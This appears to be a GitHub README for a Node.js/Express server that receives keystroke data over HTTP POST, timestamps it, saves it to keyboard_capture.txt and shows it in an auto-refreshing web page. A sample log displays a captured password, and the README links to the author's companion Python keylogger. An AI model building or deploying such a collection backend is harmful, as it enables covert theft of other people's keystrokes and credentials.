A lightweight Node.js and Express backend designed to receive, timestamp, and log incoming data strings to a local text file. This server provides a real-time web interface to view logs directly in the browser with auto-refresh functionality.
- RESTful POST Endpoint: Accepts JSON payloads and appends them to a persistent log file.
- Live Web Viewer: A dedicated GET route to view the data buffer with a 3-second auto-refresh.
- Automated Timestamping: Every entry is logged with a localized system timestamp and username.
- Error Resilience: Basic error handling for file system operations to prevent server crashes.
- Runtime: Node.js
- Framework: Express.js
- Storage: Native fs (File System) module
Before you begin, ensure you have met the following requirements:
- Node.js (v14.x or higher recommended)
- npm or yarn installed
- Clone the repository
git clone https://github.com/zer0arc4/Node-Server.git
- Install the dependencies:
sudo apt update
sudo apt upgrade
sudo apt install nodejs
sudo apt install npm
sudo npm init -y
sudo npm install express
sudo npm install
sudo reboot
- Run the server
node server.js
- Access the dashboard
http://localhost:8080
- Client sends keystroke data via HTTP POST
- Server receives and validates data
- Adds timestamp and username
- Stores data in keyboard_capture.txt
- Displays logs in browser (auto-refresh)
[03/28/2026, 10:15:23 AM]=[User:zer0rc4]
hello world
password123
This server is designed for local development and debugging. If you plan to deploy this to a public server:
- Enable HTTPS: Protect data in transit.
- Add Authentication: Implement middleware to ensure only authorized clients can POST or GET logs.
- Sanitize Output: The current viewer renders raw data; ensure you escape HTML if logging untrusted input to prevent XSS.
You can find the Python Keyloger here :
https://github.com/zer0arc4/Python-Keylogger.git
Developed by : zer0arc4
If you find this project useful, consider giving it a star ⭐